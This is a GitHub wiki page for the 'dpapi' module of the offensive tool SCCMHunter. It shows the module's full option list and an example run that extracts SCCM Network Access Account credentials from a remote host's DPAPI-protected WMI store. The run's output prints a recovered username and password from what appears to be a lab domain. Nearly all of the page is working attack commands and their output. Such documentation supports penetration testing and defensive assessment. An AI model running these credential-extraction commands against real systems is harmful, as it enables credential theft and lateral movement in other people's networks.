-
Notifications
You must be signed in to change notification settings - Fork 131
dpapi
unsigned_sh0rt edited this page Apr 3, 2025
·
5 revisions
Recover SCCM Network Access Account credentials from a remote target system.
Valid credentials for a local administrator on the target system
└─# python3 sccmhunter.py dpapi -h
SCCMHunter v1.0.8 by @unsigned_sh0rt
Usage: sccmhunter dpapi [OPTIONS] COMMAND [ARGS]...
Extract SCCM secrets from DPAPI encrypted blobs, requires Local Administrator privileges.
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * -u TEXT Username [default: None] [required] │
│ -p TEXT Password │
│ -d TEXT Target domain │
│ -dc-ip TEXT IP address or FQDN of domain controller (Use FQDN if Kerberos is used) │
│ [default: None] │
│ * -target TEXT Target hostname [default: None] [required] │
│ -k Use Kerberos authentication │
│ -no-pass don't ask for password (useful for -k) │
│ -hashes LMHASH:NTHASH LM and NT hashes, format is LMHASH:NTHASH [default: None] │
│ -aesKey HEX KEY AES key to use for Kerberos Authentication (128 or 256 bits) [default: None] │
│ -wmi Extract SCCM secrets stored in the WMI repository. │
│ -disk Extract SCCM secrets from disk (OBJECTS.DATA), useful for accessing potentially │
│ changed or deleted secrets. │
│ -both Combines both WMI and disk methods to retrieve SCCM secrets. │
│ -debug Enable Verbose Logging │
│ -impacket-debug Enable Impacket Logging │
│ --help -h Show this message and exit. │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
└─$ python3 sccmhunter.py dpapi -u domainadmin -p password -d ludus.domain -target workstation.ludus.domain -wmi
SCCMHunter v1.0.8 by @unsigned_sh0rt
[13:09:04] INFO [*] Starting SCCM secrets extraction via WMI
[13:09:04] INFO [+] Found NAA credentials
[13:09:05] INFO [!] LSA hashes extraction failed: 'HashRecords'
[13:09:05] INFO - NetworkAccessUsername: ludus\sccm_naa
[13:09:05] INFO - NetworkAccessPassword: Password123
[13:09:06] INFO [+] Found Task Sequence
[13:09:06] INFO - Task Sequence: <sequence version="3.10"/>
[13:09:06] INFO - Task Sequence: <sequence version="3.10"/>
[13:09:06] INFO - Task Sequence: <sequence version="3.10"/>
[13:09:06] INFO - Task Sequence: <sequence version="3.10"/>
[13:09:06] INFO [*] WMI SCCM secrets dump complete